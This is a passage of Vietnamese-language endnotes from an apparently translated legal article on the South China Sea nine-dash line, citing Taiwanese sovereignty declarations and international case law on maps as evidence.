<div> Chính phủ THDQ tái khẳng định chủ quyền lãnh thổ trên quần đảo Đông Sa (quần đảo Pratas), Tây Sa (quần đảo Hoàng Sa), Trung Sa (bãi cạn Macclesfield) và Nam Sa (Trường Sa) trong Biển Đông, Đối với các quần đảo này THDQ có tất cảquyền hợp pháp theo luật quốc tế;</div> <div> Republic of China (Taiwan), ‘‘The Position of the Ministry of Foreign Affairs on Taiwan’s Sovereignty over Islands in the South China Sea’’ (20 November 2007), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem527782&ctNode51903&mp56.</div> <div> Quần đảo Trường Sa, quần đảo Hoàng Sa, bãi Macclesfield và quần đảo Pratas luôn luôn là phần cố hữu của các vùng lãnh thổ Đài Loan, dù nhìn từ quan điểm của lịch sử địa lý, pháp luật quốc tế hay thực tế đơn giản. Theo các nguyên tắc của luật pháp quốc tế, chủ quyền đối với các quần đảo này của chính phủ Đài Loan là không thể nghi ngờ và Đài Loan hưởng tất cả các quyền tương ứng;</div> <div> Republic of China (Taiwan), ‘‘The Government of the Republic of China (Taiwan) Reiterates its Sovereignty over the Spratly Islands and has Proposed a Spratly Initiative that Focuses on Environmental Protection Instead of Sovereignty Disputes’’ (15 August 2008), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem532920&ctNode51903&mp56: </div> <div> Quần đảo Trường Sa, bao gồm cả rạn san hô Swallow (đảo san hô Layang-Layang), nằm trong vùng lãnh hải của Đài Loan. Dù theo quan điểm pháp lý, lịch sử địa lý hoặc luật quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas và các vùng nước lân cận là một phần của lãnh thổ và lãnh hải của Đài Loan;</div> <div> Republic of China (Taiwan), ‘‘Solemn Declaration of the Ministry of Foreign Affairs of the Republic of China concerning the Philippine Senate Bill 2699 and House Bill 3216’’ (6 February 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem536914&ctNode51902&mp56:</div> <div> Dù từ góc độ lịch sử, địa lý, thực tế hay luật pháp quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas, cũng như các vùng biển xung quanh, là các vùng lãnh thổ hiện hữu của THDQ. Sự kiện rằng chủ quyền của các khu vực này thuộc về chính phủ của chúng tôi là không thể phủ nhận, Đài Loan được hưởng và xứng đáng với tất cả các quyền tương ứng. Bất kỳ yêu sách chủ quyền nào đối với, hoặc sự chiếm cứ, các quần đảo này và vùng nước xung quanh sẽ không được chính phủ THDQ thừa nhận.</div> <div> </div> <div> [48] Republic of China (Taiwan), ‘‘Declaration of the Republic of China on the Outer Limits of Its Continental Shelf, no 003’’ (12 May 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/content.asp?cuItem538077&ctNode51036&mp56.</div> <div> </div> <div> [49] Hasjim DJALAL, ‘‘Conflicting Territorial and Jurisdictional Claims in South China Sea’’ (1979) 7(1) The Indonesian Quarterly 36 at 41–2.</div> <div> </div> <div> [50] Robert W. SMITH, ‘‘Maritime Delimitation in the South China Sea: Potentiality and Challenges’’ (2010) 41 Ocean Development and International Law 214 at 224. Xem thêm GAO Zhiguo, ‘‘The South China Sea: From Conflict to Cooperation?’’ (1994) 25 Ocean Development and International Law 345 at 346: ‘‘nghiên cứu tỉ mỉ các tài liệu Trung Quốc cho thấy rằng Trung Quốc không bao giờ tuyên bố chủ quyền toàn bộ cột nước của vùng biển Biển Đông mà chỉ là các đảo và vùng biển xung quanh bên trọng đường này.’’ Xem thêm phát biểu của Wang Xiguang (Uông Hi Quang), người đã giúp Cục Địa lý Bộ Nội Chính trong việc chế tác các bản đồ trong những năm 1940 và dùng cùng một kỹ thuật nhưng đi đến một kết quả khác: ‘‘đường biên giới quốc qia chấm chấm được vẽ như là trung tuyến giữa TQ và các nước liền kề’’, trong XU Sen’an, ‘‘The Connotation of the 9-Dotted Line on the Chinese Map of the South China Sea’’ trong ZHONG Tianxiang, ed., Paper Selections of the Seminar on ‘‘The South China Sea in the 21st Century: Problems and Perspective’’ (Hainan Research Center of the South China Sea, 2000) at 80 (in Chinese), translated in Li and Li, supra note 4 at 290.</div> <div> </div> <div> [51] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [52] Một quyển sách nói về cách giải quyết các vần đề này , xem Monique CHEMILLIER-GENDREAU, Sovereignty over the Paracel and Spratly Islands (The Hague: Kluwer Law International, 2000).</div> <div> </div> <div> [53] Anna RIDDELL and Brendan PLANT, Evidence Before the International Court of Justice (London: British Institute of International and Comparative Law, 2009) at 31.</div> <div> </div> <div> [54] Frontier Dispute (Burkina Faso/Republic of Mali), [1986] I.C.J. Rep. 554 at 582, para. 54.</div> <div> </div> <div> [55] Kasikili/Sedudu Island (Botswana/Namibia), [1999] I.C.J. Rep. 1045 at 1098, para. 84, nêu: “Tòa án sẽ bắt đầu bằng việc nhắc lại những gì mà Ban thẩm phán (Chamber) xử vụ tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) phải nói về giá trị chứng cứ của bản đồ”; Tranh chấp lãnh thổ và biển giữa Nicaragua and Honduras trong biển Caribbean (Nicaragua v. Honduras), [2007] I.C.J. Rep. 659 at 723, para. 215, nêu: “Toà án tái khẳng định lập trường của họ trước đây liên quan đến phạm vi vô cùng hạn chế của bản đồ như là một nguồn về quyền sở hữu chủ quyền”; Tranh chấp biên giới (Benin/Niger), [2005] I.C.J. Rep. 90 at 119–20, para. 44, nêu: “nguyên tắc này [như mô tả trong tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) cũng sẽ hướng dẫn Ban Thẩm phán trong việc đánh giá các bản đồ mà các Bên trong trường hợp hiện tại dựa vào”; Sovereignty over Pulau Ligitan and Pulau Sipadan (Indonesia/Malaysia), [2002] I.C.J. Rep. 625 at 667, para. 88; Maritime Delimitation and Territorial Questions between Qatar and Bahrain (Qatar v. Bahrain), Separate Opinion of Judge Kooijmans, [2001] I.C.J. Rep. 225 at 242, para. 68.</div> <div> </div> <div> [56] Patrick DAILLIER, Mathias FORTEAU, and Alain PELLET, Droit international public, 8th ed. (Paris: L.G.D.J., 2009) at 524, para. 301.</div> <div> </div> <div> [57] Một bàn luận về khả năng hạn chế này, xem Maurice KAMTO, ‘‘Le matériau cartographique dans les contentieux frontaliers et territoriaux internationaux’’ in Emile YAKPO and Tahar BOUMEDRA, eds., Liber Amicorum Judge Mohammed Bedjaoui (The Hague: Kluwer, 1999) at 371–98.</div> <div> </div> <div> [58] Riddell and Plant, supra note 56 at 266.</div> <div> </div> <div> [59] ZHAO Lihai, Studies on the Law of Sea (Beijing: Beijing University Press, 1996) at 37 (in Chinese), translated in Li and Li, supra note 4 at 291.</div> <div> </div> <div> [60] JIAO Yongke, ‘‘There Exists No Question of Redelimiting Boundaries in the Southern Sea’’ (2000) 17 Ocean Development and Management at 52 (in Chinese), translated in Michael STRUPP, ‘‘Maritime and Insular Claims of the PRC in the South China Sea under International Law’’ (2004) 11 Zeitschrift fu¨ r chinesisches Recht 1 at 16.</div> <div> </div> <div> [61] Zou, supra note 33 at 160.</div> <div> </div> <div> [62] Grisbadarna Case (Norway v. Sweden), Decision of 23 October 1909, [1910] 4 American Journal of International Law 226 at 231, nêu rằng: ‘‘lãnh hải là thứ phụ thuộc chính yếu của lãnh thổ đất liền’’ (translation from the original French, [2006] XI Reports of International Arbitral Awards 159); North Sea Continental Shelf (Federal Republic of Germany/Denmark; Federal Republic of Germany/Netherlands), [1969] I.C.J. Rep. 3 at 51, para. 96: ‘‘Trong cả hai trường hợp [vùng tiếp giáp lãnh hải và thềm lục địa] nguyên tắc được áp dụng là đất thống trị biển’’. Nghiên cứu sâu hơn và các trường hợp của nguyên tắc này, xem Abou-el-Wafa, supra note 37 at 88–90.</div> <div> </div> <div> [63] Fisheries Case (United Kingdom v. Norway), [1951] I.C.J. Rep. 116 at 132.</div> <div> </div> <div> [64] UNCLOS, supra note 12, has been ratified by all interested parties in the South China Sea dispute with the exception of Taiwan (Vietnam: 25 July 1994, PRC: 7 June 1996, Philippines: 8 May 1984,Malaysia: 14 October 1996, Brunei: 5 November 1996, Myanmar: 21 May 1996, and Thailand: 15 May 2011), online: UN http://www.un.org/Depts/los/reference_files/chronological_lists_of_ratifications.htm.</div> <div> </div> <div> [65] Ibid.</div> <div> </div> <div> [66] Một cách tiếp cận mới giới hạn đáng kể khả năng áp dụng ngoại lệ củaĐiều 121(3) đối với việc phân giới trên biển, xem Bernard H. OXMAN, ‘‘On Rocks and Maritime Delimitation’’ in Mahnoush H. ARSANJANI, Jacob Katz COGAN, Robert D. SLOANE, and Siegfried WIESSNER, eds., Looking to the Future: Essays on International Law in Honor of W. Michael Reisman (Leiden/Boston: Martinus Nijhoff, 2011), 893. Theo lý luận của tác giả, những tranh cãi liên quan đến ý nghĩa chính xác của việc cư trú của con người và đời sống kinh tế sẽ ít quan trọng hơn, bởi vì trong giai đoạn phân giới các đảo nhỏ thường chỉ đóng một vai trò nhỏ.</div> <div> </div> <div> [67] Alex G. Oude ELFERINK, ‘‘The Islands in the South China Sea: How Does Their Presence Limit the Extent of the High Seas and the Area and the Maritime Zones of the Mainland Coasts?’’ (2001) 32 Ocean Development and International Law 169 at 182. See also Marius GJETNES, ‘‘The Spratlys: Are They Rocks or Islands?’’ (2001) 32 Ocean Development and International Law 191 at 199–201; Barry Hart DUBNER, ‘‘The Spratly ‘Rocks’ Dispute: A ‘Rockapelago’ Defies Norms of International Law’’ (1995) 9 Temple International and Comparative Law Journal 291 at 299–306.</div> <div> </div> <div> [68] Nó liên quan đến những hành động do TQ thực hiện bởi để đưa vào các mục bổ sung cho chương trình nghị sự tại cuộc họp năm 2009 của các nước thành viên UNCLOS và kỳ họp lần thứ 15 của Cơ quan đáy biển quốc tế (ISA) một năm sau đó. Xem Erik FRANCKX, ‘‘The International Seabed Authority and the Common Heritage of Mankind: The Need for States to Establish the Outer Limits of Their Continental Shelf’’ (2010) 25 International Journal of Marine and Coastal Law 543 at 563–4. Những nỗ lực như vậy được lặp vào thời điểm Hội nghị của các nước thành viên UNCLOS năm 2011 nhưng không lặp lại tại cuộc họp lần của ISA khoảng một tháng sau đó.</div> <div> </div> <div> [69] Như chỉ rõ qua danh nghĩa đại diện của giáo sư Jia Yu, đưa ra trong một buổi báo cáo tóm tắt của ISA năm 2009. Mặc dù đóng góp này có tiêu đề là ‘‘Safeguarding the Common Heritage of Mankind’’(Bảo vể di sản chung của loài người) trong công bố cho báo chí của ISA (ISA, ‘‘Press Release SB/15/10’’ (June 2009) at 3, online: ISA http://www.isa.org.jm/files/documents/EN/Press/Press09/SB-15–10.pdf), các phim chiếu slides phân phát vào lúc đó tại buổi báo cáo tóm tắt lại có một tiêu đề cụ thể hơn, đó là ‘‘The Rock of Oki-no-Tori Shall Have No EEZ and Continental Shelf’’ (Mỏm đá Okinotori sẽ có EEZ và thềm lục địa mở rộng). Xem thêm Ted McDORMAN, ‘‘The South China Sea after 2009: Clarity of Claims and Enhanced Prospects for Regional Cooperation?’’ (2010) 24 Ocean Yearbook 507 at 514–15. Về chi tiết và các hành động sau này của các bên về mặt này, xem Yann-Huei SONG, ‘‘The Application of Article 121 of the Law of the Sea Convention to the Selected Geographical Features Situated in the Pacific Ocean’’ (2010) 9 Chinese Journal of International Law 663 at 671–4.</div> <div> </div> <div> [70] Indonesia, ‘‘Letter to the Secretary-General of the United Nations—480/POL-703/VII/10’’ (8 July 2010), online: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/idn_2010re_mys_ vnm_e.pdf. Sự liên kết giữa các hành động can thiệp này với Biển Đông được trình bày trong công hàm này như sau:</div> <div> Về mặt này, các phát biểu của các đại diện ưu tú của CHNDTH cũng liên quan đến tình hình ở Biển Đông và do đó thật đúng khi nêu rằng những thể địa lý rất nhỏhoặc ở xa xôi ở Biển Đông không xứng đáng được hưởng vùng đặc quyền kinh tế hay thềm lục địa của riêng mình. Cho phép sử dụng các mỏm đá, các rạn san hô và đảo san hô vòng không có người ở cô lập với đất liền và ở giữa biển khơi như một điểm cơ sở để tạo ra các khu vực biển gây quan ngại tới các nguyên tắc cơ bản của Công ước [1982] và xâm phạm lợi ích chính đáng của cộng đồng toàn cầu. Vì thế,như được chứng thực bởi những phát biểu trên, cái gọi là “bản đồ đường 9 chấm” rõ ràng thiếu cơ sở pháp lý quốc tế và đồng nghĩa với việc đảo lộn… Công ước 1982.</div> <div> </div> <div> [71] Xem bộ phận luật án lệ rộng hơn và ý kiến các học giả nêu trong Gérard NIYUNGEKO, La preuve devant les juridictions internationales (Brussels: Bruylant, 2005) at 322–35, and more recently Case concerning Pulp Mills on the River Uruguay (Argentina v. Uruguay), [2010] I.C.J. Rep. 1 at 52, para. 168.</div> <div> </div> <div> [72] Raphae¨le RIVIER, ‘‘La preuve devant les juridictions interetatiques à vocation universelles (CIJ et TIDM)’’ in Hélène Ruiz FABRI and Jean-Marc SOREL, eds., La preuve devant les juridictions internationales (Paris: Pedone, 2007), 9 at 38–48. More generally, judicial bodies select the facts they deem pertinent in a discretionary manner. Xem Jean SALMON, ‘‘Le fait dans l’application du droit international’’ (1982) 175 Collected Courses of the Hague Academy of International Law 261 at 300. For a critical approach to the freedom of judges with respect to weighing evidence, see Rudiger WOLFRUM, ‘‘Taking and Assessing Evidence in International Adjudication’’ in Tafsir Malick NDIAYE and Rudiger WOLFRUM, eds., Law of the Sea, Environmental Law and Settlement of Disputes: Liber Amicorum Judge Thomas A. Mensah (Leiden: Martinus Nijhoff, 2007), 341 at 342; Patrick KINSCH, ‘‘On the Uncertainties Surrounding the Standard of Proof in Proceedings before International Courts and Tribunals’’ in Gabriella VENTURINE and Stafania BARIATTI, eds., Liber Fausto Pocar—Diritti individuali e giustizia internazionale, vol. 1 (Milan: Giuffre`, 2009), 427 at 438–9; Chittharanjan F. AMERASINGHE, Evidence in International Litigation (Leiden: Martinus Nijhoff, 2005) at 232–61.</div> <div> </div> <div> [73] Mặc dù không có học thuyết về việc dựa vào tiền lệ (stare decisis) trong luật quốc tế, tòa và tòa án quốc tế thường trích dẫn luật án lệ. Điều này đặc biệt đúng đối với ICJ, là toà có tính tự tham chiếu cao độ và sẽ chỉ đi chệch khỏi án lệ trong quá khứ khi có các lý do đáng kể. Xem Alan BOYLE and Christine CHINKIN, The Making of International Law (Oxford: Oxford University Press, 2007) at 293–9; Gilbert GUILLAUME, ‘‘The Use of Precedent by International Judges and Arbitrators’’ (2011) 2 Journal of International Dispute Settlement 5 at 12.</div> <div> </div> <div> [74] Frontier Dispute, supra note 57 at 582, para. 55, nêu: ‘‘trọng lượng phân cho các bản đồ với tư cách bằng chứng phụ thuộc vào một số lớn các cân nhắc”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Berna´rdez at 274, para. 37, stating: ‘‘[t]he weight of maps as evidence depends on a range of considerations.’’</div> <div> </div> <div> [75] Xem Case concerning the Delimitation of Maritime Boundary between Guinea-Bissau and Senegal (Guinea- Bissau/Senegal), Decision of 31 July 1989, Dissenting Opinion of Mr. Mohammed Bedjaoui, [2006] XX Reports of International Arbitral Awards 119 at 166–9, paras. 32–7 (lập luận chống lại một chuyển vị tự động các nguyên tắc lãnh thổ sang phân định biển cho các khác biệt “hiển nhiên” và “không thể giảm hơn” về mặt địa lý, mối quan hệ của chúng với các quyền của các dân tộc và các quốc gia quyền đối với các vùng này); Lea BRILMAYER and Natalie KLEIN, ‘‘Land and Sea: Two Common Sovereignty Regimes in Search of a Common Denominator’’ (2001) 33 New York University Journal of International Law and Politics 703 at 703–4 (noting 15 </div> <div> </div> <div> [76] Xem các ví dụ về các vụ liên quan một phần đến các tranh chấp trên biển, supra note 58 citing a passage from Frontier Dispute (Burkina Faso/Republic of Mali) (which is a territorial case).</div> <div> 80. Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 stating: ‘‘only with the greatest caution can account be taken of maps in deciding a question of sovereignty’’, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para.</div> <div> </div> <div> [77] Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 nêu: “Chỉ với sự thận trọng lớn nhất các bản đồ có thể được xét tới trong việc quyết định vấn đề chủ quyền”, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para. 214; Territorial Sovereignty and Scope of the Dispute (Eritrea/Yemen), Decision of 9 October 1998, [2006] XXII Reports of International Arbitral Awards 209 at 296, para. 388, nêu: “như trong tất cả các trường hợp về bản đồ, bằng chứng phải được xử lý thât tinh tế”. For an opposing view calling into question the reluctant approach of international adjudicators vis-à-vis cartographic evidence, see Romulo R. UBAY Jr, ‘‘Evidence in International Adjudication: Map Evidence in Territorial Sovereignty Dispute Cases’’ (2011) 1 Aegean Review of the Law of the Sea and Maritime Law 287.</div> <div> </div> <div> [78] Arbitration Between Great Britain and Portugal as Regards Questions Relative to the Delimitation of their Spheres of Influence in East Africa (Manica plateau) (United Kingdom/Portugal), Decision of 30 January 1897, [2007] XXVIII Reports of International Arbitral Awards 283 at 298.</div> <div> </div> <div> [79] Indo-Pakistan Western Boundary (Rann of Kutch) between India and Pakistan (India v. Pakistan), Award of 19 February 1968, Proposal of Mr. Nasrollah Entezam, [2006] XVII Reports of International Arbitral Awards 1 at 505, nêu: “bản đồ chỉ bằng chứng phụ. Chỉ có bản đồ được chuẩn bị bởi người giám định ngay tại chỗ bằng cách quan sát mới là bằng chứng chính. Thầm chí chúng là bằng chứng chính chỉ cho những điều mà người giám định có thể tự mình quan sát”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Bernardez at 274, para. 37, nêu: “ nói chung, giá trị như là bằng chứng do toà và toà án quốc tế gắn cho chúng là có tính củng cố hay xác nhận cho các kết luận đã được rút ra từ các phương cách khác không dính dáng tới các bản đồ, vì các bản đồ như thế không có danh nghĩa pháp lý”; Island of Palmas, supra note 80 at 853–4, nêu: “dù sao đi nữa, bản đồ chỉ có khả năng đưa ra một chỉ định - và đó là một chỉ định rất gián tiếp - và trừ khi được kèm theo một công cụ pháp lý, không có giá trị của một công cụ như vậy, liên quan đến công nhận hoặc từ bỏ quyền”; ibid., at 853: Nếu trọng tài hài lòng về sự tồn tại của các sự kiện pháp lý có liên quan nhưng các sự kiện này lại mâu thuẫn với lời khai của những người vẽ bản đồ có nguồn thông tin không biết rõ, ông ta có thể sẽ không gán trọng lượng nào cho các bản đồ, tuy các bản đồ này rất nhiều và thường có thể được đánh giá cao.</div> <div> </div> <div> [80] Frontier Dispute, supra note 57 at 583, para. 56. Xem thêm The Government of Sudan/The Sudan People’s Liberation Movement/Army (Abyei Arbitration), Final Award of 22 July 2009, online: PCA http://www.pca-cpa.org at 256, para. 741:</div> <div> Toà án tương tự như vậy rất miễn cưỡng để cân bằng biên giới Đông và Tây của khu vực do Ngok Dinka chiếm đóng chuyển giao vào năm 1905 với mô tả bằng bút chì năm 1933 về khu vực chăn thả gia súc mùa khô của Ngok Dinka trên một bản đồ vẽ phác, đặc biệt là khi toà đã có bằng chứng toàn diện và cụ thể hơn.</div> <div> </div> <div> [81] Sakeus AKWEENDA, ‘‘The Legal Significance of Maps in Boundary Questions: A Reappraisal with Particular Emphasis on Namibia’’ (1990) 60 British Yearbook of International Law 205 at 212; A.O. CUKWURAH, The Settlement of Boundary Disputes in International Law (Manchester: Manchester University Press, 1967) at 224–5; Hyde, supra note 27 at 313–15; Victor PRESCOTT and Gillian D. TRIGGS, International Frontiers and Boundaries: Law, Politics and Geography (Leiden: Nijhoff, 2008) at 194–5; Durward V. SANDIFER, Evidence before International Tribunals, 2nd ed. (Charlottesville: University Press of Virginia, 1975) at 235; Guenter WEISSBERG, ‘‘Maps as Evidence in International Boundary Disputes: A Reappraisal’’, (1963) 57 American Journal of International Law 781 at 781.</div> <div> </div> <div> [82] E.g., Ian BROWNLIE, The Rule of Law in International Affairs: International Law at the Fiftieth Anniversary of the United Nations (The Hague: Martinus Nijhoff, 1998) at 156.</div> <div> </div> <div> [83] Manfred LACHS, ‘‘La preuve et la Cour internationale de Justice’’ in Chaı¨m PERELMAN and Paul FORIERS, eds., La preuve en droit (Brussels: Bruylant, 1981), 109 at 109.</div> <div> </div> <div> [84] Mức phù hợp trong bản đồ không cần phải luôn luôn là tuyệt đối, nhưng nó phải phù hợp trên tổng quát.. Abouel- Wafa, supra note 37 at 432–4.</div> <div> </div> <div> [85] Kasikili/Sedudu Island, supra note 58 at 1100, para. 87; see also Dubai/Sharjah Border Arbitration (Dubai v. Sharjah), Award of 19 October 1981, [1993] 91 International Law Reports 543 at 630, para. 168:</div> <div> Theo quan điểm của Toà án cần phải dẹp sang một bên cả hai bản đồ do ông Walker chuẩn bị, xét về vị trí của Hadlib Azana, vì, mặc dù được chuẩn bị bởi cùng một người, chúng lại mâu thuẫn lẫn nhau về đường ranh giới chung trong khu vực này. Suy đoán thêm về các lý do có thể có cho một mâu thuẫn như vậy là chuyện vô ích.</div> <div> Eritrea/Yemen Arbitration, supra note 80 at 296, para. 388:</div> <div> Các bằng chứng cho thời kỳ này bị vây bủa với các mâu thuẫn và sự không chắc chắn. Mỗi bên đã thể hiện sự không thống nhất trong các bản đồ chính thức của mình. Tuy nhiên, xu hướng chung là bằng chứng bản đồ củaYemen là vượt trội về phạm vi và khối lượng so với Eritrea. Tuy nhiên, trọng lượng như vậy có thể được gắn vào bản đồ bằng chứng ủng hộ của một bên được cân bằng bởi thực tế là mỗi bên đã công bố những bản đồ có vẻ đi ngược với khẳng định của mình trong các thủ tục tố tụng.</div> <div> Delimitation of the Border Between the State of Eritrea and the Federal Democratic Republic of Ethiopia (Eritrea-Ethiopia Boundary Commission), Decision of 1 January 2002, [2002] 41 International Legal Materials 1057 at 1089, para. 4.67:</div> <div> Bằng chứng bản đồ là không đồng nhất và nhất quán. Phần lớn hỗ trợ sự tồn tại của một phóng chiếu của Belesa và gán lãnh thổ bên trong nó cho Eritrea. Tuy nhiên, có nhiều bản đồ không làm như vậy, hoặc chỉ làm như vậy một phần</div> <div> </div> <div> [86] Tuy nhiên xem Separate World’s Geography (Chinese Ya Guang Geographic Publisher, 1951) at 18 (Bản dồ nước Cộng hoà), trong đó chỉ có khoảng nửa số vạch được thể hiện [bản đồ TQ 1951].</div> <div> </div> <div> [87] Xem Chinese State Bureau of Surveying and Mapping, Map World, online: Map World http://www.chinaonmap.cn. Bản đồ này được in lại một phần trong Phụ lục II ở cuối bài viết này.</div> <div> </div> <div> [88] Vì vậy, về mặt kỹ thuật hình như chính xác hơn khi nói đường chấm chấm với số vạch thay đổi, chẳng hạn như là đường 11/9/10-chấm. Tuy nhiên, vì cho tới nay đường 9 chấm là đường mà TQ dựa vào trên bình diện quốc tế để minh định lập trường của họ trong tranh chấp của quốc gia đối với quốc gia nên bài đóng góp này thường sẽ dùng khái niệm “đường 9 chấm”, trừ khi các đường với số chấm khác có ý nghĩa pháp lý.</div> <div> </div> <div> [89] Eritrea/Yemen Arbitration, supra note 80 at 295, para. 382.</div> <div> </div> <div> [90] Các vạch được TQ sử dụng để vẽ đường chữ U không phù hợp với các quy định kỹ thuật biểu đồ do Tổ chức Thủy văn Quốc tế đề ra dùng để chỉ ranh giới biển quốc tế, lãnh hải, vùng tiếp giáp lãnh hải, vùng đặc quyền kinh tế, thềm lục địa, khu thủy sản, vv. Xem International Hydrographic Organization, Regulations of the IHO for International (INT) Charts and Chart Specifications of the IHO, 4th ed. (Monaco: International Hydrographic Bureau, 2010) at B-440, C-407 (International Boundaries and National Limits), online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-4/S4_v4.000_Sep10.pdf . Kiểu lập luận này đã được Ukraina đưa ra chống lại Romania trong vụ ở Biển Đen (Romania v. Ukraine), Counter-memorial of Ukraine, 19 May 2006 at 123–5.</div> <div> [91] International Hydrographic Organization Membership, online: IHO http://www.iho-ohi.net/english/home/about-the-iho/about-iho-member-states/ms-information.html.</div> <div> </div> <div> [92] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40. Xem thêm Frontier Dispute, supra note 57 at 583, para. 57, nêu: “bây giờ Ban thẩm phán (Chamber) quay sang các bản đồ được in trong trường hợp này. Đối với Ban Thẩm phán không có một bản đồ đơn lẻ có sẵn nào có thể nói một cách đáng tin cậy là phản ánh được những ý định của chính quyền thực dân được thể hiện trong các các văn bản liên quan đến biên giới đang có tranh chấp.” Xem thêm Abou-el-Wafa, supra note 37 at 425–6.</div> <div> </div> <div> [93] Smith, supra note 53 at 224.</div> <div> </div> <div> [94] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40.</div> <div> </div> <div> [95] Cũng phải nói rõ rằng dù ngay cả trong tình huống như thế, việc chế tác bản đồ cũng không phải là một công việc có “giá trị trung lập” về khoa học. Những bóp mép không chủ ý cũng có thể len vào trong quá trình này do những thiên lệch của nhà vẽ bản đồ và bối cảnh xã hội. Jordan BRANCH, ‘‘Mapping the Sovereign State: Technology, Authority, and Systemic Change’’ (2011) 65 International Organization 1 at 7.</div> <div> </div> <div> [96] Trừ khi một bản đồ như vậy đi ngược vị thế của họ. Xem chẳng hạn, Sovereignty over Pedra Branca/Pulau Batu Puteh, Middle Rocks and South Ledge (Malaysia/Singapore), [2008] I.C.J. Rep. 12 at 95, para. 272. Abou-el-Wafa, supra note 37 at 460–2.</div> <div> </div> <div> [97] Beagle Channel Arbitration (Argentina v. Chile), Decision of 18 February 1977, [2006] XXI Reports of International Arbitral Awards 53 at 167, para. 142. Xem thêm Frontier Dispute, supra note 57 at 583, para. 56, nêu rằng: ‘‘những cân nhắc khác để xác định trọng lượng của các bản đồ như là bằng chứng liên quan tới tính trung lập của các nguồn của chúng đối với tranh chấp đang xem xét và với các bên đối với tranh chấp đó.’’</div> <div> </div> <div> [98] Cukwurah, supra note 84 at 224. Xem thêm Hyde, supra note 27 at 315: Các nguyện vọng hung hăng về lãnh thổ của một nước, qua thời gian nhiều năm có thể phản ánh trong một loạt các bản đồ liên tiếp mô tả rõ rệt sự lấn tới dần và thực sự, và những mô tả sau này có thể khác biệt rõ rệt với các mô tả trước đó;dù trên thự tế không có hiệp ước nào mở rộng ranh giới hay điều chỉnh biên giới.</div> <div> </div> <div> [99] Charles DE VISSCHER, Problèmes de confins en droit international public (Paris: Pedone, 1969) at 46. Xem thêm Joseph Charles WITENBERG, ‘‘La théorie des preuves devant les juridictions internationales’’ (1936) 56 Collected Courses of the Hague Academy of International Law 1 at 66: ‘‘la valeur scientifique de la méthode ayant présidé´à leur établissement’’; Abou-el-Wafa, supra note 37 at 431.</div> <div> </div> <div> [100] Ian BROWNLIE, African Boundaries: A Legal and Diplomatic Encyclopaedia (London: Royal Institute of International Affairs, 1979) at 5.</div> <div> </div> <div> [101] Cukwurah, supra note 84 at 217–20.</div> <div> </div> <div> [102] Island of Palmas, supra note 80 at 853. Cited in Dubai/Sharjah Border Arbitration, supra note 88 at 630, para. 168. Xem thêm Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075, para. 3.19, nêu: Ủy ban cũng lưu ý rằng các bản đồ, dù thông tin nó cung cấp nhiều như thế nào, không nhất thiết thể hiện chính xác, khách quan thực tế trên mặt đất’</div> <div> </div> <div> [103] Frontier Dispute, supra note 57 at 582–3, para. 55. Xem thêm Beagle Channel, supra note 100 at 174, para. 154, nêu: “Vì thếTòa án bắt buộc đi đến kết luận rằng bản đồ củaPelliza có tính chất quá không chắc chắn để có giá trị chứng minh đòi hỏi”; Request for Interpretation of the Judgment of 15 June 1962 in the Case concerning the Temple of Preah Vihear (Cambodia v. Thailand), Order of 18 July 2011, Dissenting Opinion of Judge ad hoc Cot, [2011] I.C.J. Rep. 1 at 4, para. 21–2 (tuyên bố quyết định của Toà xác định một khu vực phi quân sự tạm thời là “thiếu thận trọng”dưới ánh sáng của tài liệu bản đồ mà ông cho là hạn chế và không đủ đáng tin cậy theo quan điểm kỹ thuật).</div> <div> </div> <div> [104] Legal Consequences of the Construction of a Wall in the Occupied Palestinian Territory, Advisory Opinion, [2004] I.C.J. Rep. 136 at 168, para. 80. Về việc ICJ chấp nhận ảnh vệ tinh trong các vụ tranh chấp, xem Jana K. HETTLING, ‘‘The Use of Remote Sensing Satellites for Verification in International Law’’ (2003) 19 Space Policy 33 at 38, nghiên cứu sâu hơn của cùng tác giả trong Satellite Imagery for Verification and Enforcement of Public International Law (Cologne: Heymann, 2008) at 157–65.</div> <div> </div> <div> [105] Dzurek, supra note 3 at 12; Zou, supra note 5 at 51.</div> <div> </div> <div> [106] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [107] Xem chẳng hạn bản đồ TQ 1951, supra note 89. Không những một số lượng các vạch chỉ biến đi (ibid.) mà vị trí của những vạch biểu hiện trên rằng bản đồ đó với tỉ lệ 1:23.500.000 rõ ràng là sai biệt với những vạch thấy trong Phụ lục I: ba vạch đầu tiên rõ ràng là thấy được, nhưng vạch đầu tiên nằm theo hướng tây bắc nhiều hơn, vạch thứ hai ở hướng tây nam, và vạch thứ ba theo hướng phía bắc khi so sánh với bản đồ Phụ lục I.</div> <div> </div> <div> [108] Land, Island and Maritime Frontier Dispute (El Salvador/Honduras: Nicaragua Intervening), [1992] I.C.J. Rep. 350 at 550, para. 315. Xem thêm Kasikili/Sedudu Island, supra note 58, Dissenting Opinion of Vice-President Weeramantry at 1176, para. 73:</div> <div> Bản đồ dĩ nhiên có thể mang các mức độ trọng lượng khác nhau tùy thuộc vào tác giả và hoàn cảnh trong đó chúng được làm ra. Hơn nữa, tỉ lệ của các bản đồ thường là quá 